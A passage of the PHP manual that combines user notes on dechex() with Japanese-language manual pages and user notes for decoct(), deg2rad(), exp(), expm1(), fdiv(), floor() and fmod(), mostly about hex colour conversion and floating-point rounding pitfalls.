        // convert value
        $val = ( round($val/51) * 51 );
        // convert to HEX
        $out .= str_pad(dechex($val), 2, '0', STR_PAD_LEFT);
    }

    return $out;
}

?>

Example: color_mkwebsafe('0e5c94');
Produces: 006699

Hope this helps someone out... Happy coding. :-)
oliver at realtsp dot com 14-Jun-2005 01:46
Warning for use on 64 bit machines! The Extra length matters!

32bit machine:
php -r 'echo dechex(4294967295);'
output: ffffffff

64bit machine:
php -r 'echo dechex(4294967295);'
output: ffffffff

so far it is ok. But for slightly bigger numbers:

32bit machine:
php -r 'echo dechex(4294967296);'
output: 0

64bit machine:
php -r 'echo dechex(4294967296);'
output: 100000000

note the difference!

This is particularly important when converting negative numbers:

64bit machine:
php -r 'echo dechex(-1);'
output: ffffffffffffffff

32bit machine:
php -r 'echo dechex(-1);'
output: ffffffff

If you want your code to be portable to amd64 or xeons (which are now quite popular with hosting companies) then you must ensure that your code copes with the different length of the result for negative numbers (and the max value, although that is probably less critical).
jrisken at mn dot rr dot com 28-May-2005 07:33
A less elegant but (perhaps) faster way to pad is with substr with a negative length argument. I use it in this tiny function which formats computed rgb color codes for style sheets:
<?
function toColor($n)
{
return("#".substr("000000".dechex($n),-6));
}
?>
admin AT bobfrank DOT org 01-May-2005 07:28
Here is a very small zeropadding that you can use for numbers:

function zeropad($num, $lim)
{
   return (strlen($num) >= $lim) ? $num : zeropad("0" . $num);
}

zeropad("234",6);

will produce:
000234

zeropad("234",1);

will produce:
234
morten at nilsen dot com 02-Jan-2005 04:30
I see a lot of less-than-optimal functions posted on this page, so I feel I have to give some better examples...
due to the sheer size of this collection, I have made it available on my server, rather than copy/paste it into these comments.

http://ryo-ohki.4th-age.com/demos/able.php
and
http://ryo-ohki.4th-age.com/demos/able.phps

dechex replacement function from above source:
<?php
  define('BIT_BYTE', 8); // bits per byte
  define('HEX_BYTE', BIT_BYTE/4); // hex digits in a byte

  define('BIT_INT',  32); // sizeof(int)
  define('HEX_INT',  BIT_INT / (BIT_BYTE/HEX_BYTE)); // hex digits in an int

  function i2h($int, $group=HEX_BYTE, $size=HEX_INT, $sep=' ') {
    $ret = '';
    while($size--) {
      $n=($int>>($size*4)) & 0xf;
      $ret .= $n>9?chr(55 + $n):$n;
      if($size && $size%$group == 0) $ret .= $sep;
    }
    return $ret;
  }

  echo i2h(rand(1,2)==1?-mt_rand():mt_rand());
?>
wangster at darkcore dot net 14-Dec-2004 11:36
This function will take a string and convert it into a hexdump.

e.g.

3c666f6e 74207369 7a653d22 33223e4c  <font.size."3">L
6561726e 20686f77 20746f20 62652061  earn.how.to.be.a

function hexdump($string) {
   $hex="";
   $substr = "";
   for ($i=0; $i < strlen($string) ;$i++) {
     if(!($i % 4) && $i != 0) {
       $hex .= " ";
     }
     if(!($i % 16) && $i != 0) {
       $clean = preg_replace("/[^a-zA-Z0-9!-.<>\/]/",".",$substr);
       $hex .= " ".htmlentities($clean)."\n";
       $substr = "";
     }
     $substr .=  $string[$i];
     $hex .= dechex(ord($string[$i]));
   }
   return $hex;
}
12-Dec-2004 07:31
If you need to generate random HEX-color, use this:
<?php
function random_hex_color(){
    return sprintf("%02X%02X%02X", mt_rand(0, 255), mt_rand(0, 255), mt_rand(0, 255));
}
$hex = random_hex_color(); // 09B826
?>

Enjoy.
11-Dec-2004 01:30
If you need to convert RGB-color into HEX-color, use this:
<?php
function rgb2hex($rgb){
    return sprintf("%06X", $rgb);
}
$hex = rgb2hex(65280); // 00FF00
?>
admin[TAKETHISOUT] at torsoft dot no-ip dot com 21-Apr-2004 12:01
<?php
/*
here are two functions, some might find them useful (maybe for encoding)
converting string to hex and hex to string:
*/

function strhex($string)
{
    $hex="";
    for ($i=0;$i<strlen($string);$i++)
        $hex.=(strlen(dechex(ord($string[$i])))<2)? "0".dechex(ord($string[$i])): dechex(ord($string[$i]));
    return $hex;
}
function hexstr($hex)
{
    $string="";
    for ($i=0;$i<strlen($hex)-1;$i+=2)
        $string.=chr(hexdec($hex[$i].$hex[$i+1]));
    return $string;
}
?>
daevid at daevid dot com 18-Mar-2004 02:59
Here's my version of a red->yellow->green gradient:

<?php
function colorMeter($percent, $invert = false)
{
    //$percent is in the range 0.0 <= percent <= 1.0
    //    integers are assumed to be 0% - 100%
             // and are converted to a float 0.0 - 1.0
    //     0.0 = red, 0.5 = yellow, 1.0 = green
    //$invert will make the color scale reversed
    //     0.0 = green, 0.5 = yellow, 1.0 = red

    //convert (int)% values to (float)
    if (is_int($percent)) $percent = $percent * 0.01;

    $R = min((2.0 * (1.0-$percent)), 1.0) * 255.0;
    $G = min((2.0 * $percent), 1.0) * 255.0;
    $B = 0.0;

    return (($invert) ?
sprintf("%02X%02X%02X",$G,$R,$B)
: sprintf("%02X%02X%02X",$R,$G,$B));
} //colorMeter
?>

and use it like this:

<TABLE BORDER=1 WIDTH="300">
<?php
for ($i = 0.0; $i <= 1.0; $i += 0.10)
{
    $RGB = colorMeter($i);
    print "<TR><TD BGCOLOR='".$RGB."'>".$i."</TD><TD>
<PRE>".$RGB."</PRE></TD></TR>\n";
}
?>
</TABLE>

<P>

<TABLE BORDER=1 WIDTH="300">
<?php
for ($i = 0; $i <= 100; $i += 10)
{
    $RGB = colorMeter(intval($i), true);
    print "<TR><TD BGCOLOR='".$RGB."'>".$i."</TD><TD>
<PRE>".$RGB."</PRE></TD></TR>\n";
}
?>
</TABLE>
thr at recide dot net 09-Feb-2004 04:39
/*
* RGB-Colorcodes(i.e: 255 0 255) to HEX-Colorcodes (i.e: FF00FF)
*/
function rgb2hex($rgb){
    if(!is_array($rgb) || count($rgb) != 3){
        echo "Argument must be an array with 3 integer elements";
        return false;
    }
    for($i=0;$i<count($rgb);$i++){
        if(strlen($hex[$i] = dechex($rgb[$i])) == 1){
            $hex[$i] = "0".$hex[$i];
        }
    }
    return $hex;
}
/* Example */
print_r(rgb2hex(array(10,255,255)));
mina86 at tlen dot pl 05-Feb-2004 09:05
Easiest :P way to create random hex color:

<?php
function rand_color() {
    return substr('00000' . dechex(mt_rand(0, 0xffffff)), -6);
}
?>
huda m elmatsani <justhuda at netscape dot net> 16-Sep-2003 03:36
Create Random Hex Color:

function make_seed() {
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((double) $usec * 100000);
}

function rand_hex() {
   mt_srand(make_seed());
   $randval = mt_rand(0,255);
   //convert to hex
   return sprintf("%02X",$randval);
}

function random_color(){
   return "#".rand_hex().rand_hex().rand_hex();
}

hme ;)
allan-wegan at allan-wegan dot de 19-Jul-2003 10:53
now, here is a nice and small function to convert integers to hex strings and it avoids use of the DECHEX funtion because that function changed it's behavior too often in the past (now, in PHP version 4.3.2 it works with numbers bigger than 0x7FFFFFFF correctly, but i need to be backward compatible).

function &formatIntegerForOutput($value) {
    $text = "00000000";
    $transString = "0123456789ABCDEF";
    // handle highest nibble (nibble 7):
        $nibble = $value & 0x70000000;
        $nibble >>= 28;
        if ($value < 0) {
            $nibble = $nibble | 0x00000008;
        }
        $text[0] = $transString[$nibble];
        $value &= 0x0FFFFFFF;
    // nibbles 0 to 6:
        for ($a = 7; $a > 0; $a --) {
            $nibble = $value & 0x0000000F;
            $text[$a] = $transString[$nibble];
            $value >>= 4;
        }
    return $text
}

this function should be not too slow and is really simple.
I don't know, if the DECHEX function in the future will pad it's output to ever be 8 characters in length - so for backward compatibility reasons even in future PHP versions i avoided to use it.
monkyNOSPAM at phpfi dot org dot invalid 23-Sep-2002 07:20
Here's how to use bitwise operations for RGB2hex conversion. This function returns hexadesimal rgb value just like one submitted by gurke@bigfoot.com above.

function hexColor($color) {
  return dechex(($color[0]<<16)|($color[1]<<8)|$color[2]);
}

example:

$col[0] = 25;
$col[1] = 255;
$col[2] = 55;

print hexColor($col);
joost at bingopaleis dot com 28-Apr-2002 09:21
Here are two functions that will convert large dec numbers to hex and vice versa. And I really mean LARGE, much larger than any function posted earlier.

<pre>
// Input: A decimal number as a String.
// Output: The equivalent hexadecimal number as a String.
function dec2hex($number)
{
    $hexvalues = array('0','1','2','3','4','5','6','7',
               '8','9','A','B','C','D','E','F');
    $hexval = '';
     while($number != '0')
     {
        $hexval = $hexvalues[bcmod($number,'16')].$hexval;
        $number = bcdiv($number,'16',0);
    }
    return $hexval;
}

// Input: A hexadecimal number as a String.
// Output: The equivalent decimal number as a String.
function hex2dec($number)
{
    $decvalues = array('0' => '0', '1' => '1', '2' => '2',
               '3' => '3', '4' => '4', '5' => '5',
               '6' => '6', '7' => '7', '8' => '8',
               '9' => '9', 'A' => '10', 'B' => '11',
               'C' => '12', 'D' => '13', 'E' => '14',
               'F' => '15');
    $decval = '0';
    $number = strrev($number);
    for($i = 0; $i < strlen($number); $i++)
    {
        $decval = bcadd(bcmul(bcpow('16',$i,0),$decvalues[$number{$i}]), $decval);
    }
    return $decval;
}
</pre>
jfren484 at hotmail dot com 12-Feb-2002 03:47
Here's a function which works for decimal values up to 9007199254740992 (hex 20000000000000).

function dec2hex($dec)
{
  $hex = ($dec == 0 ? '0' : '');

  while ($dec > 0)
  {
    $hex = dechex($dec - floor($dec / 16) * 16) . $hex;
    $dec = floor($dec / 16);
  }

  return $hex;
}
kristoffer at caveo dot se 11-Feb-2002 05:39
Heres a example of dec to html hex gradient. Have fun :)

//Amount of gradients
$l = 20;

//Start color
$start[0] = "255";     //red
$start[1] = "0";     //green
$start[2] = "255";     //blue

//End color
$end[0] = "255";     //red
$end[1] = "255";    //green
$end[2] = "255";    //blue

for ($t = 1; $t < $l;) {

    $x = $x * $t;

    for ($i = 0; $i < 3;) {

        $buffer[$i] = $start[$i] - $end[$i];
        $buffer[$i] = floor($buffer[$i] / $l);
        $rgb[$i] = $start[$i] - ($buffer[$i] * $t);

        if ($rgb[$i] > 255) {

            $rgb[$i] = 255;

        }

        $rgb[$i] = dechex($rgb[$i]);
        $rgb[$i] = strtoupper($rgb[$i]);

        if (strlen($rgb[$i]) < 2) {

            $rgb[$i] = "0$rgb[$i]";

        }

        $i++;

    }

    $color = "$rgb[0]$rgb[1]$rgb[2]";
    echo "$color";
        $t++;

}

?>


10 進数を 8 進数に変換する

  • ≪ dechex
  • deg2rad ≫
  • PHP Manual
  • Math 関数
  • 10 進数を 8 進数に変換する

decoct

(PHP 4, PHP 5, PHP 7, PHP 8)

decoct — 10 進数を 8 進数に変換する

説明

decoct ( int $num ) : string

引数 num を 8 進数表現した文字列を返します。 変換出来る最大の数字はプラットフォームによって異なります。 32 ビットプラットフォームでは、通常は十進数の 4294967295 であり、 これは 37777777777 を返します。 64 ビットプラットフォームでは、通常は十進数の 9223372036854775807 であり、これは 777777777777777777777 を返します。

パラメータ

num

変換したい 10 進数値。

返り値

num を 8 進文字列で表した値を返します。

例

例1 decoct() の例

<?php
echo decoct(15) . "\n";
echo decoct(264);
?>

上の例の出力は以下となります。

17
410

参考

  • octdec() - 8 進数を 10 進数に変換する
  • decbin() - 10 進数を 2 進数に変換する
  • dechex() - 10 進数を 16 進数に変換する
  • base_convert() - 数値の基数を任意に変換する

User Contributed Notes

ethernidee at yandex dot ru 22-Nov-2015 06:48
Negative numbers are not supported.


度単位の数値をラジアン単位に変換する

  • ≪ decoct
  • exp ≫
  • PHP Manual
  • Math 関数
  • 度単位の数値をラジアン単位に変換する

deg2rad

(PHP 4, PHP 5, PHP 7, PHP 8)

deg2rad — 度単位の数値をラジアン単位に変換する

説明

deg2rad ( float $num ) : float

この関数は、num の単位を度からラジアンに変換します。

パラメータ

num

度で表した角度。

返り値

num と同等な値をラジアンで表したものを返します。

例

例1 deg2rad() の例

<?php

echo deg2rad(45); // 0.785398163397
var_dump(deg2rad(45) === M_PI_4); // bool(true)

?>

参考

  • rad2deg() - ラジアン単位の数値を度単位に変換する

User Contributed Notes

christian dot ubu at NOSPAMHERE dot gmail dot com 13-Mar-2009 07:18
Never use deg2rad() in loops, use $rad = ($deg * M_PI / 180) instead which is faster!


e の累乗を計算する

  • ≪ deg2rad
  • expm1 ≫
  • PHP Manual
  • Math 関数
  • e の累乗を計算する

exp

(PHP 4, PHP 5, PHP 7, PHP 8)

exp — e の累乗を計算する

説明

exp ( float $num ) : float

e を num 乗した値を返します。

注意:

'e' は自然対数の底で、およそ 2.718282 です。

パラメータ

num

処理する引数。

返り値

'e' の num 乗を返します。

例

例1 exp() の例

<?php
echo exp(12) . "\n";
echo exp(5.7);
?>

上の例の出力は以下となります。

1.6275E+005
298.87

参考

  • log() - 自然対数
  • pow() - 指数表現

User Contributed Notes

Mohammed AbdelRahman 31-Aug-2014 04:18
Which is the inverse of log(float $arg, e)
zooly at globmi dot com 14-Dec-2010 07:12
PHP does not have the following math function in any extensions:

frexp() - Extract Mantissa and Exponent of the Floating-Point Value

I've digged many C source codes, and found the simplest implementation as follows:

<?php

function frexp ( $float ) {

  $exponent = ( floor(log($float, 2)) + 1 );
  $mantissa = ( $float * pow(2, -$exponent) );

  return(
    array($mantissa, $exponent)
  );

}

print_r(frexp(0.0345));
print_r(frexp(21.539));

?>

Array
(
    [0] => 0.552
    [1] => -4
)
Array
(
    [0] => 0.67309375
    [1] => 5
)

I have compared the results using a lot of floats against C's frexp function - they are the same.

Note that C and PHP uses different float precisions, for example "4619.3" gives:

C: 0.56387939453125, 13
PHP: 0.563879394531, 13

/Assuming default configurations./
Nitrogen 23-Sep-2009 05:54
Just a note about using the submitted codes below..
Their functions have an optional $precision parameter; however, it's not being used properly..

BCMath functions by default do not use decimal precision unless specified by BCScale($precision); or using the extra parameter in the used BC functions.

For example, a blank PHP file with their code.. executing BCExp('5.7'); returns "47" instead of the correct answer of "298.86740096706..."

So for optimum accuracy, I'd suggest setting BCScale to a healthy length before running their codes.
konrad 24-Jan-2007 03:13
working version (checked) of below code is

<?php
  // see bccomp for this code (signed and unsigned zero!)
  function bccomp_zero($amount) {
    return bccomp($amount, (@$amount{0}=="-"?'-':'').'0.0');
  }

  // arbitrary precision function (x^n)/(n)!
  function bcpowfact($x, $n) {
    if (bccomp_zero($n) == 0) return '1';
    if (bccomp($n, '1') == 0) return $x;
    $a = $x; // 1st step: a *= x / 1
    $i = $n;
    while (bccomp($i, '1') == 1) {
      // ith step: a *= x / i
      $a = bcmul($a, bcdiv($x, $i));
      $i = bcsub($i, '1'); // bc idiom for $i--
    }
    return $a;
  }

  // arbitrary precision exp() function
  function bcexp($x, $digits) {
    $sum = $prev_sum = '0.0';
    $error = '0.'.str_repeat('0', $digits-1).'1'; // 0.1*10^-k
    $n = '0.0';
    do {
      $prev_sum = $sum;
      $sum = bcadd($sum, bcpowfact($x, $n));
      $n = bcadd($n, '1'); // bc idiom for $n++
    } while (bccomp(bcsub($sum, $prev_sum), $error) == 1);
    return $sum;
  }
?>
boards at gmail dot com 26-Apr-2006 10:18
Note regarding the mathematical function exp(x):

To continue accuracy of the exponential function to an infinite amount of decimal places, one would use the power series definition for exp(x).
(in LaTeX form:)
e^x = \sum_{n=0}^{\infty} \frac{x^n}{n!}

So, to do that in PHP (using BC math):

<?php
// arbitrary precision function (x^n)/(n)!
function bcpowfact($x, $n) {
  if (bccomp($n, '0') == 0) return '1.0';
  if (bccomp($n, '1') == 1) return $x;
  $a = $x; // nth step: a *= x / 1
  $i = $n;
  while (bccomp($i, '1') == 1) {
    // ith step: a *= x / i
    $a = bcmul($a, bcdiv($x, $i));
    $i = bcsub($i, '1'); // bc idiom for $i--
  }
  return $a;
}

// arbitrary precision exp() function
function bcexp($x, $decimal_places) {
  $sum = $prev_sum = '0.0';
  $error = bcdiv(bcpow('10', '-'.$decimal_places), 10); // 0.1*10^-k
  $n = '0';
  do {
    $prev_sum = $sum;
    $sum = bcadd($sum, bcpowfact($x, $n));
  }
  while (bccomp(bcsub($sum, $prev_sum), $error) == 1);
  return $sum;
}
?>


値がゼロに近い時にでも精度を保つために exp(number) - 1 を返す

  • ≪ exp
  • fdiv ≫
  • PHP Manual
  • Math 関数
  • 値がゼロに近い時にでも精度を保つために exp(number) - 1 を返す

expm1

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

expm1 — 値がゼロに近い時にでも精度を保つために exp(number) - 1 を返す

説明

expm1 ( float $num ) : float

expm1() は、 'exp(num) - 1' の値を返します。 num がゼロに近く、 'exp (num) - 1' が引き算時の桁落ちのために 不正確となるような場合でも正確な値が計算できる方法を使用します。

パラメータ

num

処理する引数。

返り値

'e' の num 乗から 1 を引いた値を返します。

参考

  • log1p() - 値がゼロに近い時にでも精度を保つ方法で計算した log(1 + number) を返す
  • exp() - e の累乗を計算する

User Contributed Notes

brettz9 AAT yah 02-Apr-2009 08:07
Note that exp(x)-1 can be approximated by x + x^2/2! + ... + x^n/n!  and for any value
hagen at von-eitzen dot de 24-Feb-2003 03:57
Compare this to log1p (which is its inverse).

Also, You may have to use a similar workaraound in case the underlying C library
does not support expm1:

<?php
function expm1($x) {
     return ($x>-1.0e-6 && $x<1.0e-6) ? ($x + $x*$x/2) : (exp($x)-1);
}
?>


IEEE 754 に従い、数値の除算を行う

  • ≪ expm1
  • floor ≫
  • PHP Manual
  • Math 関数
  • IEEE 754 に従い、数値の除算を行う

fdiv

(PHP 8)

fdiv — IEEE 754 に従い、数値の除算を行う

説明

fdiv ( float $num1 , float $num2 ) : float

num1 を num2 で割った結果を浮動小数点数の結果として返します。 num2 が 0 の場合、 INF, -INF, NAN のうちのいずれかを返します。

NAN は == や === のいずれを使っても、いかなる値とも比較できないことに注意して下さい。 NAN は、NAN のみと比較できます。

パラメータ

num1

被除数(分子)

num2

除数

返り値

num1/num2 の結果を浮動小数点数として返します。

例

例1 fdiv() を使う

<?php
var_dump(fdiv(5.7, 1.3)); // float(4.384615384615385)
var_dump(fdiv(4, 2)); // float(2)
var_dump(fdiv(1.0, 0.0)); // float(INF)
var_dump(fdiv(-1.0, 0.0)); // float(-INF)
var_dump(fdiv(0.0, 0.0)); // float(NAN)
?>

参考

  • / - 浮動小数点数の除算
  • intdiv() - 整数値の除算
  • fmod() - 剰余

User Contributed Notes

There are no user contributed notes for this page.


端数の切り捨て

  • ≪ fdiv
  • fmod ≫
  • PHP Manual
  • Math 関数
  • 端数の切り捨て

floor

(PHP 4, PHP 5, PHP 7, PHP 8)

floor — 端数の切り捨て

説明

floor ( float $value ) : float

必要に応じて value を丸めることにより、 value をこえない最大の整数の値を (float 型で) 返します。

パラメータ

value

丸める数値。

返り値

value をこえない最大の整数の値を返します。 floor() の返り値は float 型のままとなります。これは、 float の範囲が int よりも広いためです。 配列を渡した場合など、エラーが発生したときには false を返します。

例

例1 floor() の例

<?php
echo floor(4.3);   // 4
echo floor(9.999); // 9
echo floor(-3.14); // -4
?>

参考

  • ceil() - 端数の切り上げ
  • round() - 浮動小数点数を丸める

User Contributed Notes

Antonio 24-Oct-2019 12:14
<?php
echo (2.3 * 100) . ' - ' . round(2.3 * 100, 0) .  ' - ' . floor(2.3 * 100);
?>.

Result:
230 - 230 - 229

Be careful!
itbudaoweng at gmail dot com 23-Jul-2018 05:09
If you want to ceil decimal, DO NOT USE

function floordec($zahl,$decimals=2){
     return floor($zahl*pow(10,$decimals))/pow(10,$decimals);
}

if you call it floordec(0.58, 2) it return 0.57.

[USE below instead,both work fun]

/**
 *
 * @param $money_yuan
 * @param int $scale
 * @return string
 */
static function floor($money_yuan, $scale=2) {
     return bcsub($money_yuan, "-", 0, $scale);
}

/**
 * @param $money_yuan
 * @param int $scale
 * @return string
 */
static function floor2($money_yuan, $scale = 2) {
    return substr(sprintf("%.".(++$scale)."f", $money_yuan), 0, -1);
}
Leon Grdic 27-Dec-2015 09:59
Warning: do not use Seppili's function to floor with decimals. It will lead you to a lot of trouble because of float number precision.

For example floordec(0.29, 2) will result in 0.28.

Here's a little fix that will help you get around some problems:

<?php
function floordec($value,$decimals=2){
    return floor($value*pow(10,$decimals)+0.5)/pow(10,$decimals);
}
?>
josoort at home dot nl 12-May-2014 07:08
You can simply make a floor with decimals function by using the round() function and subtract 0.05 to the value if the value must have 1 decimal accuracy, or 0.005 for 2 decimals accuracy, or 0.0005 for 3 decimals etc.

Example :

function floorDec($input, $decimals)
{
    return round($input - (5 / pow(10, $decimals + 1)), $decimals);
}
till at tonda dot de 24-Jan-2014 12:55
Note that the use of floor may (intended or not) uncover false integers:

<?php

$arrRoots=array();
$arrRoots[]=pow(27,(1/3));        // pow(3,3)=27
$arrRoots[]=pow(64,(1/3));        // pow(4,3)=64

for($i=0;$i<count($arrRoots);$i++)
{
if($arrRoots[$i]!=floor($arrRoots[$i]))
  echo '<div style="background-color:#ffff99">';
echo 'Unfloored value: '.$arrRoots[$i].' (Format float? '.is_float($arrRoots[$i]).')<br />';
echo 'Floored value: '.floor($arrRoots[$i]).' (Format float? '.is_float(floor($arrRoots[$i])).')';
if($arrRoots[$i]!=floor($arrRoots[$i]))
  echo '</div>';
echo '<br /><br />';
}

?>

The directly retrieved cubic root of 64 (by pow with a fraction exp) equals 4; an outcome any maths teacher will reckon correct.

Yet bringing the same number - the cubic root of 64 retrieved in the very same manner - to the floor will result in a value of 3 only. This behaviour is in no way exceptional.

It is pivotal to check whether you are dealing with genuine integers or floats in disguise. floor should be used carefully.
maikl 23-Jan-2014 08:45
A correction to the funcion floor_dec from the user "php is the best".
If the number is 0.05999 it returns 0.59 because the zero at left position is deleted.
I just added a '1' and after the floor or ceil call remove with a substr.
Hope it helps.

function floor_dec($number,$precision = 2,$separator = '.') {
  $numberpart=explode($separator,$number);
  $numberpart[1]=substr_replace($numberpart[1],$separator,$precision,0);
  if($numberpart[0]>=0) {
    $numberpart[1]=substr(floor('1'.$numberpart[1]),1);
  } else {
    $numberpart[1]=substr(ceil('1'.$numberpart[1]),1);
  }
  $ceil_number= array($numberpart[0],$numberpart[1]);
  return implode($separator,$ceil_number);
}
php is the best 20-Apr-2012 06:36
Floor decimal numebrs with precision:

function floor_dec($number,$precision,$separator)
{
    $numberpart=explode($separator,$number);
    $numberpart[1]=substr_replace($numberpart[1],$separator,$precision,0);
    if($numberpart[0]>=0)
    {$numberpart[1]=floor($numberpart[1]);}
    else
    {$numberpart[1]=ceil($numberpart[1]);}

     $ceil_number= array($numberpart[0],$numberpart[1]);
    return implode($separator,$ceil_number);
}

echo floor_dec(1.125,2,"."); //1.12
echo floor_dec(-1.3436,3,"."); //-1.344
echo floor_dec(102938.1,4,"."); //102938.1
seppili_ at gmx dot de 05-Mar-2010 08:52
I use this function to floor with decimals:
<?php

function floordec($zahl,$decimals=2){
     return floor($zahl*pow(10,$decimals))/pow(10,$decimals);
}
?>
lewis at lewishenshall dot co dot uk 25-Feb-2009 11:12
If you're wanting to round down to the nearest hundred:

<?php
function rounddowntohundred($theNumber) {
    if (strlen($theNumber)<3) {
    $theNumber=$theNumber;
    } else {
    $theNumber=substr($theNumber, 0, strlen($theNumber)-2) . "00";

    }
    return $theNumber;

}
?>
fragov at gmail dot com 14-Jan-2009 09:39
Have solved a "price problem":

<?php
$peny = floor($row->price*1000) - floor($row->price)*1000)/10;
?>
benrr101 at gmail dot com 11-Jun-2008 09:39
But, if you want the number closest to zero, you could use this:
<?php
  if($foo > 0) {
    floor($foo);
  } else {
    ceil($foo);
  }
?>

-benrr101
greene dot mc at removethispart dot gmail dot com 27-May-2008 01:08
I believe this behavior of the floor function was intended.  Note that it says "the next lowest integer".  -1 is "higher" than -1.6.  As in, -1 is logically greater than -1.6.  To go lower the floor function would go to -2 which is logically less than -1.6.

Floor isn't trying to give you the number closest to zero, it's giving you the lowest bounding integer of a float.

In reply to Glen who commented:
 Glen
01-Dec-2007 04:22
<?php
  echo floor(1.6);  // will output "1"
  echo floor(-1.6); // will output "-2"
?>

instead use intval (seems to work v5.1.6):

<?php
  echo intval(1.6);  // will output "1"
  echo intval(-1.6); // will output "-1"
?>
jay at w3prodigy dot com 25-Mar-2008 12:01
Note:

<?php
$int = 0.99999999999999999;
echo floor($int); // returns 1
?>

and

<?php
$int = 0.9999999999999999;
echo floor($int); // returns 0
?>
Glen 01-Dec-2007 01:22
<?php
  echo floor(1.6);  // will output "1"
  echo floor(-1.6); // will output "-2"
?>

instead use intval (seems to work v5.1.6):

<?php
  echo intval(1.6);  // will output "1"
  echo intval(-1.6); // will output "-1"
?>
jolyon at mways dot co dot uk 10-Aug-2004 09:41
Beware of FLOAT weirdness!

Floats have a mind of their own, and what may look like an integer stored in a float isn't.

Here's a baffling example of how floor can be tripped up by this:

<?php
$price = 79.99;

print $price."\r\n";     // correct result, 79.99 shown

$price = $price * 100;

print $price."\r\n";    // correct result, 7999 shown

print floor($price);    // 7998 shown! what's going on?
?>

The thing to remember here is that the way a float stores a value makes it very easy for these kind of things to happen. When the 79.99 was multiplied by 100, the actual value stored in the float was probably something like 7998.9999999999999999999999999999999999, PHP would print out 7999 when the value is displayed but floor would therefore round this down to 7998.

THe moral of this story - never use float for anything that needs to be accurate! If you're doing prices for products or a shopping cart, then always use an integer and store prices as a number of pence, you'll thank me for this later :)
illyena at musefish dot net 12-May-2004 03:53
For calculating the number of days, hours, minutes and seconds to an event.

<?php
$then = date(mktime(8,0,0,6,25,2004)); //remember that mktime is hour,min,sec,month,day,year
$now = date("U"); // "U" is the number of seconds since the epoch, equivilant to using "YmdHis"

$time = $then - $now; //gets the number of seconds between now and the event
$days = floor($time/86400); //rounds down to the whole number, in this case # of days
echo $days." Days";
$time = $time - ($days*86400); //leaves you with the amount of time ramaining after subtracting the days
$hours = floor($time/3600); //rounds down to the whole number, in this case # of hours
echo $hours." Hours";
$time = $time - ($hours*3600); //leaves you with the amount of time ramaining after subtracting the hours
$min = floor($time/60); //rounds down to the whole number, in this case # of minutes
echo $min." Minutes";
$sec = $time - ($min*60); //leaves you with the amount of time ramaining after subtracting the minutes which is equivilant to the remainins seconds
echo $sec." Seconds";
?>
PHP Helper 20-Dec-2003 02:39
floor basically truncates, or chops off everything to the right of a decimal. For instance, if you have a length of 5.1234, but just wanted the whole number, you could use the following code:

<?php
$length = 5.1234; //this is our original length
$length = floor($length); //length is truncated, original variable name is kept
print "$length"; //this prints our result
?>

This code would print the following: 5

Now, although there is a specific function in PHP for rounding, rounding can also be performed with the floor function. Let's say we wanted to round the length to the hundredths place.

<?php
$length = 5.1234;
$length = floor(($length) * 100 + .5) * .01;
print "$length";
?>

The result is: 5.12

This works because, first, the length is multiplied by 100, which moves the decimal point to the right two places, giving us the value of 512.34. Next .5 is added to the length, which gives us a value of 512.84. Then the floor function truncates the value, leaving us with 512. Lastly, to compensate for multiplying by 100 earlier, now we must divide by 100, or in this case, multiply by .01. This moves the decimal point back 2 places to it's original place and gives us the rounded value of 5.12.

We can also round to other values, such as the thousandths, by adjusting the code as follows:

<?php
$length = 5.1234;
$length = floor(($length) * 1000 + .5) * .001;
print "$length";
?>

Result: 5.123
10-Sep-2002 03:08
mathematical functions lack a floating point version of the modulo operation, which returns the difference between the floor() of the argument and the argument itself:

<?php
function fmod($value) {
  return $value - floor($value);
}
?>

Very useful with trigonometric functions to reduce the angle argument to a circle that includes angle 0.

Useful also to reduce an arbitrarily large floating point value into an entropy source, by first transforming this value into a pair using logarithm functions with distinct bases (add 1 if the function can return 0, to avoid floating point errors with logarithms!):

<?php
$f = 1 + @disk_free_space("/tmp");
$r = (int)(fmod(Log($f)) * 0x7FFFFFFF)
^ (int)(fmod(Log10($f)) * 0x7FFFFFFF)
?>

Then $r can be used as a good entropy source, if the free space in your temporary folder used by PHP is constantly evolving within a large range of values.

You can combine this value by xoring it with other values such as time(), (int)microtime(), ip2long($_SERVER['REMOTE_ADDR'], $_SERVER['REMOTE_PORT'], getmypid(), ...


引数で除算をした際の剰余を返す

  • ≪ floor
  • getrandmax ≫
  • PHP Manual
  • Math 関数
  • 引数で除算をした際の剰余を返す

fmod

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

fmod — 引数で除算をした際の剰余を返す

説明

fmod ( float $num1 , float $num2 ) : float

被除数（num1）を除数（num2） で割った余りを返します。余り（r）は、 整数 i を使用して num1 = i * num2 + r で定義されます。 num2 がゼロ以外の場合はr は num1 と同符号で、絶対値は num2 より小さくなります。

パラメータ

num1

被除数。

num2

除数。

返り値

num1/num2 の剰余を返します。

例

例1 fmod() の使用法

<?php
$x = 5.7;
$y = 1.3;
$r = fmod($x, $y);
// $r は 0.5 です。なぜなら 4 * 1.3 + 0.5 = 5.7 だからです。
?>

参考

  • / - 浮動小数点数値の除算
  • % - 整数値の剰余
  • intdiv() - 整数値の除算

User Contributed Notes

radoslaw dot roszkowski at gmail dot com 20-Jun-2018 11:43
Do not relly on that function, for example:

$a = "7.191"
$b =  "2.397000"

if(fmod(floatval($a), floatval($b)) === 0.0) {
..
//is false, becouse
//float(4.4408920985006E-16) != 0.0
dan danschafer net 30-May-2018 03:26
WARNING: Due to how floating point numbers work, fmod() and any simple alternatives are problematic when there is either a massive orders of magnitude different between the input $x and $y, or the input and output values. If you need to work with large numbers or arbitrary precision, it is best to work with something like BC Math or GMP.

When working around fmod()'s problems, remember that floor() always goes towards -INF, not 0. This causes a commonly proposed fmod() alternative to only work with positive numbers:
<?php
function fmod_positive_only($x, $y) {
    return $x - floor($x/$y) * $y;
}
?>
Given these simplistic input values:
fmod_positive_only(-5, 3) = 1 (wrong)
-5 % 3 = -2 (correct)

Correctly removing the decimal part of the quotient can be achieved with either casting to an int (always goes towards zero) or dynamically choosing ceil() or floor(). Dynamically choosing floor or ceil in an attempt to keep precision is overkill. If your $x and $y values are so different that it suffers from an overflow problem when casting, it was probably going to have precision problems anyway (see warnings below).

<?php
function fmod_overkill($x, $y) {
    if (!$y) { return NAN; }
    $q = $x / $y;
    $f = ($q < 0 ? 'ceil' : 'floor');
    return $x - $f($q) * $y;
}
?>

This is the "best" alternative for fmod() when given "normal" numbers.
<?php
function fmod_alt($x, $y) {
